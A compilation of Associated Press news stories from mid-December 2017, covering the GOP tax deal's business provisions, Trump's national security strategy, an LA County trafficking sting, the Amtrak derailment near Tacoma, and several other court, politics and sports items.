The agreement includes a potential tax break for business owners who have sole proprietorships, partnerships and companies structured for tax purposes as S corporations; these owners report business income on their individual 1040 returns. Under the GOP deal, they can deduct 20 percent of their business income, but the size of the deduction starts to decline when an individual owner's taxable income reaches $157,500. Accountants, lawyers, financial advisers and some other professionals won't be able to take the deduction.

Companies that are C corporations - which include all of the Fortune 500 companies as well as some small businesses - will be taxed at a rate of 21 percent, compared to the current range of 15 percent to 35 percent.

Some small business advocacy groups have long campaigned for all businesses, ranging from the tiniest to C corporations - to have equal tax treatment. Their concern was that some owners were taxed at individual rates as high as 39.6 percent while corporations had lower rates. But some researchers including those at the Urban Institute, a think tank based in Washington, D.C., say upward of 85 percent of owners of sole proprietorships, partnerships and S corporations are currently taxed at rates well below the top brackets.

The agreement increases what's known as the Section 179 deduction that lets companies write off many types of equipment purchases up front rather than depreciate them over a period of years. Companies would be able to deduct $1 million in purchases, up from the current level of $510,000. Companies use the deduction to help finance the purchase of equipment ranging from computers and office chairs to vehicles and manufacturing machinery.

Depreciation rules for larger equipment and property purchases are also more generous. Currently, many investments in equipment or real estate must be depreciated over a period ranging from 2.5 years to decades, depending on what kind of property it is. The agreement generally allows for full up-front deductions of purchases each year for the next five years, subject to limitations on some purchases.

The agreement retains the provisions in both bills to generally limit the deductibility of business interest expenses to 30 percent of a company's taxable income, but companies with up to $25 million in average annual revenue keep the full deduction. Landlords will be able to continue fully deducting their mortgage interest.

The alternative minimum tax, or AMT, which some lawmakers had promised to eliminate, remains at a reduced level for individuals, including business owners, under the agreement, but the corporate AMT would be abolished. The tax requires high-earning individuals and corporations to compute their tax liability in two different ways and pay whichever amount is higher. Under the agreement, an individual's income up to $70,300 is exempt from the AMT, compared to the current level of $54,300. The exemption begins to decline when an individual taxpayer's income reaches $500,000. The AMT affects many business owners who pay high state and local taxes; under the agreement all taxpayers are limited to $10,000 in state and local income and property taxes, which means some owners won't be able to deduct a significant part of those levies.

The agreement allows more companies to use the cash method of accounting rather than the more complex accrual method. Under cash accounting, a company records income when it's received and expenses when they're paid. Under accrual accounting, income and expenses are booked when they are owed rather than when they're received or paid. Manufacturers and other companies with inventory are generally required to use the accrual method, but the agreement exempts businesses with average annual revenue of $25 million or less, up from $5 million under current law.

JOINT EMPLOYER RULE

The National Labor Relations Board last week reversed a 2015 NLRB ruling under which franchisors like McDonald's and companies that subcontract work to others are considered joint employers with the franchisees and subcontractors. The NLRB overruled a decision in an Obama-era case involving Browning-Ferris Industries that said one company's indirect control over another's workers could make both joint employers.

Small business owners including franchisees had opposed the 2015 ruling, saying it would take away their control of their companies.

A statement last week from the NLRB said it was returning to its standard of joint employment that existed before the Browning-Ferris case. Under that standard, two companies will be considered joint employers only if one has exercised control over the other's staffers "and has done so directly and immediately (rather than indirectly) in a manner that is not limited and routine," the agency said.

MAKING SOCIAL MEDIA EASIER

Using social media to market a company can be time consuming and therefore harder for a business owner with few or no staffers or without the funds to hire someone to do the work. But it's possible to use the various channels efficiently and productively. SCORE, which gives free advice to small businesses, is sponsoring an online seminar with social media tips. It will be held Tuesday, Dec. 19 at 1 p.m. Eastern time. You can learn more and register at http://bit.ly/2C81kco .

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Follow Joyce Rosenberg at www.twitter.com/JoyceMRosenberg . Her work can be found here: https://apnews.com/search/joyce%20rosenberg
President Donald Trump's new national security strategy seeks to refocus the United States' relationship with China, Russia and the rest of the world, transforming his "America First" mantra into a set of policies and plans for protecting the homeland and advancing its economy.

The following items were outlined in his administration's strategic document released Monday:

CENTRAL TENETS OF TRUMP'S BLUEPRINT

President Donald Trump speaks on national security, Monday, Dec. 18, 2017, in Washington. (AP Photo/Evan Vucci)

Combating China: The strategy deems China, like Russia, to be a "revisionist" power, determined to reshape the world according to its own ideals. "Chinese dominance risks diminishing the sovereignty of many states" in its region and beyond, it says. The strategy calls for stronger traditional alliances and new partnerships in Asia amid a "geopolitical competition between free and repressive visions of world order." One new policy proposed: Restricting visas to prevent intellectual property theft by foreigners, particularly Chinese, who travel to the U.S. to study science, engineering, math and technology.

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Countering Russia: The strategy is harsher on Russia than the president has been in public comments. It says Russia uses "subversive measures" to weaken America's credibility and European governments, specifically calling out Moscow for "its invasions of Georgia and Ukraine." The document doesn't specifically mention Russian meddling in last year's U.S. presidential election. It does warn that Russia and China are more effectively using cyberattacks and online propaganda, saying the U.S. and allies must counter the misinformation.

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Fighting global threats: Trump says the U.S. must re-establish control of its borders to block "jihadist terrorists" and international criminal groups, familiar themes from his campaign and first 11 months in the White House. North Korea and Iran are singled out as the leading threats to U.S. security, followed by what Trump used to call "radical Islamic terrorist" organizations like the Islamic State group and al-Qaida. The strategy emphasizes cyberthreats and says the administration will assess such risks to security, energy, banking and transportation.

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Tough on trade: Whereas past administrations argued a prosperous global economy would benefit all countries, Trump's strategy describes nations in fierce competition. It calls for fighting U.S. trade deficits by ensuring commercial relationships are fair, reciprocal and rules-based. It champions bilateral trade deals between the U.S. and individual countries, not the larger, multicountry deals President Barack Obama pursued.

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Bigger, better military: Trump's strategy calls for increased defense spending to use the military as a force for peace. It includes familiar calls for the government to work more efficiently with industry to buy and build better, more high-tech weapons and end budget limits established in the midst of the recession. It also renews Trump's for a modernized nuclear arsenal.

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A world that helps America: Trump's vision holds that other nations in global alliances and international organizations need to pay their fair share. For too long, the U.N. and international financial institutions have been taken advantage of, to America's detriment, the strategy says. Such bodies should be "strengthened and supportive of the United States, our allies, and our partners." It repeats Trump's demand that NATO members spend more on defense.

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Ending the North Korean threat: The U.S. is ready to respond with "overwhelming force" to North Korean aggression and will "improve options" to compel the North to give up its nuclear weapons. However, the "options" aren't entirely spelled out. It seeks cooperation from longtime allies Japan and South Korea toward an "area defense capability" - but that would surely be opposed by China. South Korea also says it has no intention of joining such a missile defense network. The strategy calls for building better defenses against ballistic missiles, potentially defeating such weapons before launch. It doesn't say how that will be done but could allude to cybertools to disable or destroy key missile components.

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Dangers and opportunities nearby: The strategy warns about "violence, drug trafficking and illegal immigration" from Latin American nations, but it also floats great opportunity for U.S. investment and trade. It calls out Venezuela and Cuba for having what it calls "anachronistic leftist authoritarian models" that fail local populations. It says the U.S. will seek to counter such governments through "strong diplomatic engagement."

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A Mideast beyond Israel: The strategy specifically rejects the Israeli-Palestinian conflict as central to Middle East instability. Instead, it identifies extremist groups like al-Qaida and the Islamic State group, along with Iran, as prime catalysts. "Israel is not the cause of the region's problems," the document says, noting that once-hostile countries are finding common ground with the Jewish state on security issues. The U.S. is promoting "gradual" change in repressive countries with extremism problems like Egypt and Saudi Arabia.

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Budding India alliance: The strategy promotes a deeper partnership with India. Pakistan, on the other hand, must crack down on "transnational terrorists" operating from its soil, it says. But the document offers Pakistan the carrot of greater trade and investment ties if it helps on counterterrorism. The regional approach could be part of the broader effort to counter China, which is investing billions in Pakistan. In Afghanistan, the U.S. will bolster the national army to "convince the Taliban that they cannot win on the battlefield."
COMPTON, Calif. (AP) - Los Angeles County is employing a unique approach to get women out of the sex trade.

The county is the nation's most populous with more than 10 million residents and it's widely regarded as the U.S. epicenter for human trafficking, mostly women forced into prostitution.

The program employed by the sheriff's department aims to get handcuffs on the traffickers and the men who pay for sex while offering services to sex workers who often are vulnerable children and young adults forced to sell their bodies to enrich their pimps.

In this Wednesday, Nov. 15, 2017 photo, an undercover sheriff's deputy posing as a prostitute, left, talks with a woman passing by who identified herself as a prostitute in Compton, Calif., a city some 15 miles south of Los Angeles. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)

The technique was on display recently in Compton. Police arrested 17 men who solicited undercover deputies and took seven women and a 13-year-old girl who were being trafficked to a processing center where counselors met them.

The women shared intimate details about their lives and the counselors used the information to assist with emergency housing and social services. Attorneys were on hand to help assess their legal needs, which can include domestic violence, child custody issues and discussing whether prior convictions could be expunged.

The sheriff's department partners with nonprofit groups, including The Coalition to Abolish Slavery and Trafficking, whose counselors are embedded with deputies throughout the year and go out on sting operations to help rescue sex workers.

Becca Channel, the group's human trafficking task force coordinator, said the array of immediate help provides the foundation that can lead to women starting new lives. Still, not all are interested.

"Sometimes they want services and sometimes they just tell us to go away," said Sarah Leddy, one of the group's attorneys.

The teenagers who end up involved in prostitution typically are runaways from unstable homes or foster homes where they experienced violence or sexual abuse. Pimps often portray themselves as a father figure or a boyfriend for young girls, promising them money and a glamorous lifestyle.

That is hardly ever the case.

"Their whole life is usually one of neglect and abuse leading up to this point and by us just arresting them they are back out the next day and doing the same thing," said Capt. Chris Marks, commander of the sheriff's department's Human Trafficking Bureau. "We're not looking to prosecute these girls as sex workers. We want them off the street."

Statistics compiled by the National Human Trafficking Hotline show California leads the country in reports of sex trafficking.

"I think every big city is a hotbed for this, but a lot of it starts in LA and moves eastward," said sheriff's Lt. Barry Hall.

He led the recent sting operation, which had its first catch four minutes after an undercover deputy began pacing on a street corner. A man slowly rolled up in his sedan, leaned out the window and bluntly propositioned her.

"You gotta pay for that," she replied, telling the man it would be $40.

"Will you do a good job?" he asked.

After he agreed to meet her around the corner and turned down an alleyway, his car was surrounded by deputies and he was put in handcuffs.

"We go to get the girls who are being exploited, go after the guys who are exploiting them and try to impact the demand," Hall said. "If there's no one out there buying them there'll be no one selling and that's why we want to get as many guys in custody as we can."

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Follow Michael Balsamo on Twitter at http://www.twitter.com/MikeBalsamo1.

In this Wednesday, Nov. 15, 2017 photo, before an undercover sting operation, a sheriff's deputy who will pose as a prostitute listens at a briefing in Compton, Calif., a city some 15 miles south of Los Angeles. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)

In this Wednesday, Nov. 15, 2017 photo, a sheriff's deputy who posed as a prostitute fills out a report on the arrest of a suspect in Compton, Calif., a city some 15 miles south of Los Angeles. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)

In this Wednesday, Nov. 15, 2017 photo, a man arrested as part of an undercover prostitution sting operation is booked in Compton, Calif., a city some 15 miles south of Los Angeles. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)

In this Wednesday, Nov. 15, 2017 photo, as the man who propositioned her is arrested, background, an undercover sheriff's deputy posing as a prostitute returns to a car that will take her back to operation headquarters in Compton, Calif., a city some 15 miles south of Los Angeles. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)

In this Wednesday, Nov. 15, 2017 photo, an undercover sheriff's deputy posing as a prostitute talks with a man who stopped to talk with her in Compton, Calif., a city some 15 miles south of Los Angeles. He never uttered the magic words that would have gotten him arrested and went on his way. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)

In this Wednesday, Nov. 15, 2017 photo, an undercover sheriff's deputy talks to a man who pulled over to talk with her in Compton, Calif., a city some 15 miles south of Los Angeles. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)

In this Wednesday, Nov. 15, 2017 photo, an undercover sheriff's deputy posing as a prostitute waits on a corner in Compton, Calif., a city some 15 miles south of Los Angeles. For hours, Los Angeles County sheriff's deputies listen to the same scenario play out over and over: men pull up alongside a woman pacing in front of an abandoned storefront in Compton and proposition her to have sex with him. They soon found themselves in handcuffs. The women were undercover Los Angeles County sheriff's deputies posing as prostitutes in a sting operation aimed at stemming the demand in the commercial sex industry. (AP Photo/Reed Saxon)
SEATTLE (AP) - A community along the new rail line where an Amtrak train derailed Monday in a deadly crash had tried to stop the project on grounds higher-speed passenger trains would endanger pedestrians and motorists.

The city of Lakewood, several miles north of the crash site, went to court in 2013 to stop the Point Defiance Bypass project, which redirected passenger trains from a curvy route along Puget Sound that competes with freight traffic and squeezes through single-track tunnels where only one train can go through at a time.

Opponents said the route, which shortened the trip between Portland, Oregon, and Seattle would expose car and pedestrian traffic to faster trains at more than a half-dozen street-level crossings in Lakewood. City officials asserted the state transportation department's environmental review of the new route was inadequate and failed to consider traffic, neighborhood and other impacts.

Workers walk over tracks near a curve at the back of where an Amtrak train derailed above Interstate 5, Monday, Dec. 18, 2017, in DuPont, Wash. The Amtrak train making the first-ever run along a faster new route hurtled off the overpass Monday near Tacoma and spilled some of its cars onto the highway below, killing several people, authorities said. (AP Photo/Elaine Thompson)

In March 2014, a judge dismissed the lawsuit and the $181 million track upgrade moved forward. Until now, the route was used by freight trains.

Early Monday, during the first run of the new passenger service, 13 of the 14 cars went off the tracks at an overpass, some tumbling onto Interstate 5.

Even people who tried to stop the new route on safety grounds said a derailment wasn't a concern.

"These are new, upgraded tracks - that's what is so surprising about this," said John Niles with the Coalition for Effective Transportation Alternatives, which joined local elected officials in opposing the project. "They weren't worried about a train derailing."

At least three people on board were killed, local authorities said, contradicting a U.S. official briefed on the investigation who earlier told The Associated Press that at least six were dead. No additional briefings were provided by late afternoon, and the official said he had no new information to explain the discrepancy in the numbers.

The U.S. official was not authorized to discuss the investigation publicly and spoke to the AP on condition of anonymity.

The track is owned by Sound Transit, the public transit system for the Seattle area, which oversaw the upgrades and did extensive testing prior to Monday's public opening, agency spokeswoman Kimberly Reason said.

While it will take investigators months to determine the precise cause, speed may have been a factor.

Moments before the derailment the train was going 81.1 mph (130.5 kph), according to transitdocs.com, which maps train speeds using data from Amtrak's train tracker app.

The maximum speed drops from 79 mph (127 kph) to 30 mph (48 kph) for passenger trains just before the tracks curve to cross Interstate 5, according to a track chart prepared by the Washington State Department of Transportation.

Another Sound Transit spokeswoman, Rachelle Cunningham, confirmed the maximum allowable speed was 30 mph (48 kph) at the derailment point but could not say where that lower limit began.

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Brown reported from Billings, Montana. Michael Sisak in Philadelphia and Michael Balsamo and Justin Pritchard in Los Angeles contributed to this report.

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This story has been updated to reflect that authorities said Monday night that three people died. A U.S. official said earlier that six had died.

Logging trucks remain stopped just before where cars from an Amtrak train lay spilled onto Interstate 5 below alongside smashed vehicles as some train cars remain on the tracks above Monday, Dec. 18, 2017, in DuPont, Wash. The Amtrak train making the first-ever run along a faster new route hurtled off the overpass Monday near Tacoma and spilled some of its cars onto the highway below, killing some people, authorities said. Seventy-eight passengers and five crew members were aboard when the train moving at more than 80 mph derailed about 40 miles south of Seattle before 8 a.m., Amtrak said. (AP Photo/Elaine Thompson)
WASHINGTON (AP) - The Latest on a federal judge ordering the Trump administration to allow two immigrant teenagers in U.S. custody to obtain abortions (all times local):

10:50 p.m.

An appeals court in Washington says a pregnant immigrant teenager must wait at least another day to have an abortion to give the court more time to consider the case.

The appeals court ruled late Monday, hours after a federal judge ordered President Donald Trump's administration to allow two pregnant immigrant teenagers in U.S. custody to obtain abortions.

The Trump administration appealed the judge's ruling as it applied to the teen who is about 10 weeks pregnant. It did not appeal to stop the teenager who is about 22 weeks pregnant from having an abortion.

Both girls arrived in the country as unaccompanied minors and are being held in federal shelters, though it is not revealed precisely where.

The American Civil Liberties Union went to court on the girls' behalf.

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7:15 p.m.

The Trump administration says it is "deeply disappointed" by a federal judge's order that would allow two immigrant teenagers in U.S. custody to obtain abortions.

Judge Tanya Chutkan said Monday that the administration can't prevent the 17-year-old girls from exercising their right to an abortion.

The judge is giving the administration 24 hours to try to persuade a higher court to block her order.

The Department of Health and Human Services' Administration for Children and Families says the two girls had the option of returning to their home countries or finding sponsors. It says, "HHS-funded facilities that provide temporary shelter and care for unaccompanied alien minors should not become way stations for these children to get taxpayer-facilitated abortions."

The American Civil Liberties Union went to court on the girls' behalf.

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6:20 p.m.

A federal judge is ordering President Donald Trump's administration to allow two pregnant immigrant teenagers in U.S. custody to obtain abortions.

Judge Tanya Chutkan says in an order Monday that the administration can't prevent the 17-year-old girls from exercising their right to an abortion.

The judge is giving the administration 24 hours to try to persuade a higher court to block her order.

Both girls arrived in the country as unaccompanied minors and are being held in federal shelters, though it is not known precisely where.

The American Civil Liberties Union went to court on behalf of the girls. The situation is similar to that of a third 17-year-old girl who was able to obtain an abortion in October, following a high-profile court fight.
LOS ANGELES (AP) - Former "Glee" star Mark Salling has pleaded guilty to possession of child pornography.

Salling entered the plea in a downtown Los Angeles federal court on Monday and is scheduled to be sentenced on March 7.

The actor reached a plea agreement with prosecutors in October in which he admitted he possessed images of prepubescent children. The agreement states a search warrant found more than 50,000 images of child porn on Salling's computer and a thumb drive.

Former "Glee" actor Mark Salling, center, arrives at federal court in Los Angeles on Monday, Dec. 18, 2017. Salling has pleaded guilty to possession of child pornography. (AP Photo/Reed Saxon)

Prosecutors and Salling have agreed to ask a judge to sentence the actor to between four to seven years in prison. He will also be required to register as a sex offender, pay restitution and abide by residency restrictions.

The actor played bad-boy Noah "Puck" Puckerman on the Fox musical dramedy "Glee."

Former "Glee" actor Mark Salling arrives at federal court in Los Angeles on Monday, Dec. 18, 2017. Salling has pleaded guilty to possession of child pornography. (AP Photo/Reed Saxon)
HOUSTON (AP) - A woman is being accused of spitting in the face of Houston's police chief while he arrested her for allegedly stealing items from a drug store.

KPRC-TV reports 40-year-old Danielle Paris remained jailed Monday. She's charged with harassment of a public servant - a felony - for allegedly spitting on police chief Art Acevedo.

Prosecutors say Acevedo was off-duty and shopping at a Walgreens on Saturday when he saw Paris taking items from the store and harassing customers outside.

Authorities say Paris resisted when Acevedo tried to detain her and she spat several times on him and another officer who responded to the scene.

Court records show Paris was arrested last month for spitting at another officer. The charge was later reduced to a misdemeanor.
Amtrak train on new route hurtles onto highway, kills 3

DUPONT, Wash. (AP) - An Amtrak train making the first-ever run along a faster new route hurtled off an overpass south of Seattle on Monday and spilled some of its cars onto the highway below, killing at least three people, injuring more than 100 and crushing two vehicles, authorities said.

Attention quickly turned to the train's speed. A website that maps location and speed using data from Amtrak's train tracker app showed the train was going 81.1 mph (129 kph) about a quarter of a mile from the point where it derailed, where the speed limit is significantly lower.

Seventy-seven passengers and seven crew members were aboard when the train derailed and pulled 13 cars off the tracks. Authorities said there were three confirmed deaths and more than a dozen people with critical or serious injuries.

About two hours after the accident, a U.S. official who with others was briefed on the investigation said he was told at least six people were killed. No additional briefings were provided by late afternoon, and the official said he had no new information to explain the discrepancy in the numbers.

The official was not authorized to discuss the investigation publicly and spoke to The Associated Press on condition of anonymity.

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Commuters help people out of derailed train, comfort victims

DUPONT, Wash. (AP) - Daniel Konzelman was one of thousands of commuters barreling along a highway outside Seattle on Monday morning when the emergency response training he learned as an Eagle Scout kicked in.

He and a friend pulled over after an Amtrak passenger train hurtled off an overpass and crashed into vehicles on Interstate 5 below, killing at least three people and injuring dozens of others, authorities said.

A U.S. official who was briefed on the investigation said earlier that at least six people were killed. The difference in the numbers could not immediately be reconciled. The official was not authorized to discuss the investigation publicly and spoke to The Associated Press on condition of anonymity.

Konzelman and his friend rushed to help, running along the tracks and over the bridge to get to the scene.

Some train cars had their roofs ripped off or were turned upside down. Others were turned sideways on the bridge. Konzelman, 24, and his friend clambered into train cars to look for victims.

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10 Things to Know for Tuesday

Your daily look at late-breaking news, upcoming events and the stories that will be talked about Tuesday:

1. TRAIN TOPPLES OFF OVERPASS, KILLING SIX

An Amtrak train making the first-ever run along a faster new route hurtles off an overpass near Tacoma, Washington, and spills some of its cars onto the highway below in a deadly crash.

1. 'AMERICA IS COMING BACK AND COMING BACK STRONG'

Trump declares a new national security strategy, stressing the "America first" message of his 2016 campaign.

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UN says there are 258 million international migrants today

UNITED NATIONS (AP) - An estimated 258 million people have left their birth countries and are now living in other nations - an increase of 49 percent since 2000, says a U.N. report on international migration released Monday.

The biennial report released on International Migrants Day said the percentage of the world's people who are international migrants has increased modestly from 2.8 percent in 2000 to 3.4 percent this year.

But the report from the U.N. Department of Economic and Social Affairs said the percentage living in high-income countries rose from 9.6 percent in 2000 to 14 percent in 2017.

"Reliable data and evidence are critical to combat misperceptions about migration and to inform migration policies," said Undersecretary-General for Economic and Social Affairs Liu Zhenmin.

In September 2016, all 193 U.N. member states, including the United States under President Barack Obama, adopted the New York Declaration for Refugees and Migrants. It said no one country can manage international migration on its own.

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McCain says he's feeling well, vows return in January

WASHINGTON (AP) - Republican Sen. John McCain on Monday expressed thanks for the overwhelming support as he battles brain cancer, saying he is feeling well and looks forward to being back on the job in January.

The 81-year senator returned home to Arizona after being treated for a viral infection at Walter Reed Medical Center in Maryland. He had missed votes last week and will miss a crucial vote on the GOP tax bill this week.

McCain tweeted on Monday: "Thanks to everyone for your support & words of encouragement! I'm feeling well & looking forward to returning to work after the holidays."

His wife, Cindy, tweeted earlier Monday: "Nothing beats the feeling of being home in Arizona for the Holidays!" with a photo of a Christmas tree.

A statement from his office late Sunday said he would undergo physical therapy and rehabilitation at the Mayo Clinic in Arizona. Now in his sixth Senate term, McCain underwent surgery in mid-July to remove a 2-inch (51-millimeter) blood clot in his brain and was diagnosed with glioblastoma.

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Under Trump, climate change not a national security threat

WASHINGTON (AP) - President Donald Trump removed climate change from the list of worldwide threats menacing the United States on Monday, a shift that underscores the long-term ramifications of the "America first" world view he laid out in his new National Security Strategy.

The document depicts Russia and China as combative rivals in perpetual competition with the U.S. But it makes no mention of what scientists say are the dangers posed by a warming climate, including more extreme weather events that could spark humanitarian crises, mass migrations, and conflict.

It's a significant departure from the Obama administration, which had described climate change as an "urgent and growing threat to our national security." And it demonstrates how Trump, despite struggling to push his own agenda through a Republican-controlled Congress, has been able to unilaterally dismantle one of his predecessor's signature efforts.

As far back as 2003, during George W. Bush's presidency, a report commissioned by the Defense Department said abrupt climate change threatened "disruption and conflict," refugee crises, border tensions and more military conflicts.

Trump's national security report, required annually by Congress, emphasizes that economic security is national security for the U.S. It makes clear the United States will unilaterally defend its sovereignty, even if that means risking existing agreements with other countries.

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Airlines inch back to normalcy after airport blackout

ATLANTA (AP) - The nation's air-travel system struggled to get back on schedule and re-book stranded passengers Monday after a fire and blackout at the world's busiest airport forced the cancellation of over 1,500 flights days before the start of the Christmas rush.

Travelers sat on the floor, slumped in chairs or stood in long lines at ticket counters a day after the underground blaze knocked out electricity and crippled Hartsfield-Jackson Atlanta International Airport for about 11 hours.

A spokesman for Delta, by far the biggest airline at the airport, said most of its delayed passengers were booked on other flights scheduled to leave Monday. Spokesman Michael Thomas said the airline should be "largely if not completely" back to normal by Tuesday, well before the huge travel weekend ahead of Christmas Day.

But no matter how fast Delta and other airlines move, it will take a few days to get the hundreds of thousands of grounded passengers to their final destinations, said Robert Mann, president of an airline consulting firm in Port Washington, New York. In rare cases, some passengers won't arrive until Thursday, he said.

"There are just so few seats available during a peak holiday week, that's just going to take a lot of flights with four or five seats apiece," Mann said.

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Twitter suspends white nationalists as it enforces new rules

NEW YORK (AP) - Twitter suspended the accounts of well-known white nationalists Monday, moving swiftly to enforce its new rules aimed at reducing what it deems abusive content.

The account of far-right group Britain First, a small group that regularly posts inflammatory videos purporting to show Muslims engaged in acts of violence, was among the first to go dark. The individual accounts of two of its leaders, Jayda Fransen and Paul Golding, were also suspended.

President Donald Trump caused a stir last month when he retweeted a post by Fransen, drawing criticism from British Prime Minister Theresa May. Fransen and Golding were arrested in Belfast last week for allegedly stirring up hatred.

Twitter said it would not comment on individual accounts. The company has emphasized that it takes into account many factors before making any enforcement decision, including context of the post, cultural and political considerations and the severity of the violation.

Twitter's actions drew praise from civil rights groups.

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Federal judge retires as he faces accusations from women

SAN FRANCISCO (AP) - The sexual misconduct allegations that have cut a swath through Congress brought down a prominent member of the judicial branch Monday with the resignation of Alex Kozinski, a federal appeals court judge known for his blunt and colorful legal opinions.

Kozinski, a 67-year-old member and former chief judge of the 9th U.S. Circuit Court of Appeals, the nation's largest federal appeals court, said in a statement that a battle over the accusations would not be good for the judiciary. He retired, effective immediately.

The move came days after the 9th Circuit opened a misconduct inquiry following the first in a pair of Washington Post stories that said 15 women - some of whom worked for him as law clerks or in other positions - accused him of groping them, making lewd comments or showing them pornography.

Kozinski, who was known to have a bawdy side well before his resignation, said that while speaking in a "candid way" with male and female clerks, he "may not have been mindful enough of the special challenges and pressures that women face in the workplace."

"It grieves me to learn that I caused any of my clerks to feel uncomfortable; this was never my intent," he said. "For this I sincerely apologize."

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Opposition leader says he could beat Putin in fair election

MOSCOW (AP) - As the most serious challenger during Vladimir Putin's 18 years in power, Alexei Navalny has endured arrests, show trials and facefuls of green antiseptic that damaged his vision.

But in an interview Monday with The Associated Press, he said the biggest thing keeping him from becoming Russia's next president is a political system that punishes him for rallying support and conspires to keep his face off the airwaves.

Putin's approval rating is astronomical and he is widely expected to win another term with ease, but the fact that he won't even say Navalny's name suggests the anti-corruption crusader has struck a nerve. Navalny's criminal record will probably keep him off the ballot - a sign, he says, of how much he frightens the political class.

Navalny, in his first interview since the start of the presidential campaign, said he would win it "if I am allowed to run and if I'm allowed to use major media." And he said the Kremlin knows it.

"It's the main reason they don't want me to run," he said. "They understand perfectly how ephemeral the support for them is."
TOKYO (AP) - Japan's Cabinet on Tuesday approved a plan to purchase a set of costly land-based U.S. missile combat systems to increase the country's defense capabilities amid escalating threats from North Korea.

The approval will allow the Defense Ministry to buy two Aegis Ashore systems to add to Japan's current two-step missile defense consisting of Patriot batteries and Aegis-equipped destroyers.

"North Korea's nuclear and missile development has become a greater and more imminent threat for Japan's national security, and we need to drastically improve our ballistic missile defense capability to protect Japan continuously and sustainably," a statement issued by the Cabinet said.

FILE - In this Aug. 29, 2017, file photo, Japan Air Self-Defense Force demonstrates a training to utilize the PAC-3 surface to air interceptors at the U.S. Yokota Air Base on the outskirts of Tokyo. Japan's Cabinet approved a plan Tuesday, Dec. 19, 2017, to purchase a set of costly land-based missile combat system from the U.S. to step up Japanese missile defense capability amid escalating threat from North Korea. The decision would allow the Defense Ministry to buy a set of two Aegis Ashore systems to add to Japan's current two-step missile defense consisting of Patriot batteries and Aegis-equipped destroyers. (AP Photo/Eugene Hoshiko, File)

The deployment will add to growing defense costs in Japan as Prime Minister Shinzo Abe's government pushes to allow the military a greater international role and boost its missile combat capability.

Defense officials say two Aegis Ashore units can cover Japan entirely by using advanced missile interceptors such as SM-3 Block IIA that was jointly developed by Japan and the U.S., and would cost around 200 billion yen ($1.8 billion), though they have not released exact figures.

Officials say they hope the systems are ready for operation by 2023.

Officials refused to disclose cost details until a planned release of a 2018 budget, in which defense spending is expected to rise to a record.

Abe has said he fully backs U.S. President Donald Trump's policy of keeping all options on the table, including possible military actions, against the North. Abe has vowed to bolster Japan's security cooperation and increase use of advanced U.S. missile defense equipment.

Defense officials declined to give details about potential sites for Aegis Ashore deployment, while Japanese reports cited Self-Defense Force bases in Akita, northern Japan, and Yamaguchi, in southwestern Japan.

Defense officials said they chose Aegis Ashore over an option of Terminal High-Altitude Area Defense, or THAAD, because of its cheaper cost and versatility. Typically, a THAAD setup comes with 48 missiles and 9 mobile launch pads, priced about $1.1 billion, and Japan would need at least six of those to defend the country, officials said.

The deployment of THAAD in South Korea triggered protests from China as Beijing sees it a security threat.

Aegis Ashore can be compatible with the ship-based Aegis systems that are on four Japanese destroyers and also could work with SM-6 interceptors capable of shooting down cruise missiles, defense officials said. Japan plans to add four more Aegis-equipped destroyers in coming years.

The U.S. has installed the land-fixed Aegis in Romania and Poland, and Japan will be a third to host the system.

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Follow Mari Yamaguchi on Twitter at twitter.com/mariyamaguchi

Find her work at https://www.apnews.com/search/mari%20yamaguchi

FILE - In this March 28, 2009, file photo, Japan Maritime Self-Defense Force's Aegis destroyer Kirishima sails off Yokosuka base, Japan, amid reports of North Korea's planned rocket launch. Japan's Cabinet approved a plan Tuesday, Dec. 19, 2017, to purchase a set of costly land-based missile combat system from the U.S. to step up Japanese missile defense capability amid escalating threat from North Korea. The decision would allow the Defense Ministry to buy a set of two Aegis Ashore systems to add to Japan's current two-step missile defense consisting of Patriot batteries and Aegis-equipped destroyers. (AP Photo/Junji Kurokawa, File)
DALLAS (AP) - The Chicago Cubs are making a pitch for Yu Darvish.

The free agent right-hander says he had a "very good meeting" on Monday with Cubs officials. Darvish tweeted a statement in Japanese confirming the get-together amid reports that Chicago executives Theo Epstein and Jed Hoyer were in Dallas to speak with him.

Darvish is one of the top starting pitchers available this offseason, and the Cubs have been busy filling holes on their staff. The NL Central champions already have signed free agent starter Tyler Chatwood and relievers Brandon Morrow and Steve Cishek.

